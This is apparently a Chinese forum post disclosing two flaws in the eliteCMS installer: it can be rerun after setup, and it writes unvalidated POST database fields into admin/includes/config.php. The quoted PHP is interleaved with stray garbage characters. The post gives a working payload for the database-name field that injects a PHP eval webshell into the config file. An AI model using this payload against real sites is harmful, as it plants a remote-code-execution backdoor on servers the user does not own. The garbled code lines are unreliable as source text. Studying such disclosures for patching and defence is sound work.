eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
6 a0 Q! f: N/ P' ?
...
elseif ($_GET['step'] == "4") {
6 |! R+ _7 `# ~    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
9 J, w2 c5 G" A    $write .= "*\n";
# F1 J: Z: x" s' r+ T0 G4 j    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
+ F3 j; c1 }2 A( y& ?+ P4 I! A    $write .= "*\n";
0 D7 b8 r0 _; E    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
# Q) H8 X) q) ~' L' r- a    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
# K6 l1 h$ ?5 L8 K; l    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
: G& Y; o9 h$ O6 B% w    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
( c8 C  N+ F! f) v; M    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
4 Q0 C- G1 l% w3 U: `& f    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
' R: h7 p$ l1 O- q; B( A    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
- E! M8 @+ U4 I6 i( R    $write .= "        die(\"Database select failed\" .mysql_error());\n";
- R$ N9 q9 m, k" x/ p2 A% X8 l0 ?    $write .= "        \n";
- C. U2 |0 @4 j% F& O2 D9 w" B! H    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
+ V" U4 B  k+ E1 h" `  }" g...

/ Y  O7 H" u1 Y1 W在看代码：
  B8 D! l8 @$ s3 C
! t1 p) d4 J( j( {$ a0 v9 k$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
2 p: A. S4 d; k% \( J$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
% a* ~$ G2 z. l- q7 M4 C
取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

5 X( G3 q& c7 |$ p( P/ z6 W将导致一句话后门写入/admin/includes/config.php